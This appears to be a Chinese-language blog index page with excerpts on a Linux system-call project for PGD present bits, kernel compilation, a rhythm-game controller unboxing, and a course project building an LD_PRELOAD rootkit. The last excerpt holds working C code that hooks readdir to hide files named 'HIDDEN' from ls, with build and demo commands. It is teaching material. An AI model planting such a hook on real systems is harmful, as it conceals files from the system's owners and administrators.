Linux project - PGD present bit

前情提要

延續上一篇,這篇記錄Project主要內容的實作過程。

題目的要求是:For each page directory entry with an index located in the group of indexes specified by the parameters, this system call shows the value of the present field of the entry.

簡單說就是新增一個system call
讓它可以取得當前process的page global directory entry中的present bit
參數包含兩個integer代表起始和結尾index
和一個陣列指標參數,存放結果

Linux Kernel編譯+新增System call(Ubuntu)

前情提要

因Linux Operating System課的project需要,人生第一次編Kernel就獻給他惹,所以怕忘就順手筆記一下。

環境

使用Ubuntu 16.04 LTS i386 Desktop
要編的Kernel是3.10版

過程

一開始當然要先裝好Linux環境(我是裝Ubuntu)
然後決定你要編的Kernel,並載下來解壓縮
(Kernel source可以到https://www.kernel.org 下載)
我這邊解壓縮出來後是linux-3.10.104/

1
$ cd linux-3.10.104/

DJ DAO FB9 Jubeat控制器開箱

前言

有鑒於過去一年打ju實在燒太多錢了,但要戒掉也沒那麼容易
於是就有買controller的念頭,這樣就可以在家打ju,不用一直燒錢了!
所以一開始我就先買了一台27吋的螢幕
一方面可以當控制器的螢幕,另一方面可以雙螢幕coding或看影片,整個爽度十足
然後存了一段時間的錢後,就上淘寶買了看起來價格便宜內容又實在的DJ DAO控制器FB9

攻防Project2 - LD_PRELOAD實作library rootkit

LD_PRELOAD

LD_PRELOAD是Linux/Unix下的環境變數,他可以決定預先要載入的共享函式庫
它比LD_LIBRARY_PATH指定的共用函式庫還要優先,因此LD_PRELOAD裡的全域符號會蓋掉後面載入的同名全域符號
所以我們可以利用LD_PRELOAD來達成Linux/Unix下的hook,要達到rootkit的效果也就輕而易舉
但這只對動態連結的程式有效,因為靜態連結函式庫的代碼都已經包進程式中

實作

因為ls用到readdir這個函數來實作
所以我們覆蓋掉libc裡面的readdir來實作rootkit
做法很簡單,載入libc中原本的readdir(我們叫它old_readdir)
然後把結果中有”HIDDEN”的都濾掉

code如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/types.h>
void *libc = NULL;
struct dirent *(*old_readdir)(DIR *dirp);
struct dirent *readdir(DIR *dirp) {
struct dirent *ret = NULL;
if (NULL == libc) {
if (NULL == (libc = dlopen("/lib/libc.so.6", RTLD_LAZY))) {
goto END;
}
}
if (NULL == old_readdir) {
if (NULL == (old_readdir = dlsym(libc, "readdir"))) {
goto END;
}
}
while(1) {
ret = old_readdir(dirp);
if (ret && 0 == strcmp(ret->d_name, "HIDDEN")) {
continue;
}
break;
}
END:
return ret;
}

編譯一下

1
$ gcc -fPIC -shared -o rootkit.so rootkit.c

設置LD_PRELOAD並執行ls

1
2
3
4
$ /bin/ls
rootkit.c rootkit.so HIDDEN
$ env LD_PRELOAD=./rootkit.so /bin/ls
rootkit.c rootkit.so

即可發現當前目錄下名字為HIDDEN的都消失了,就算下參數-al也一樣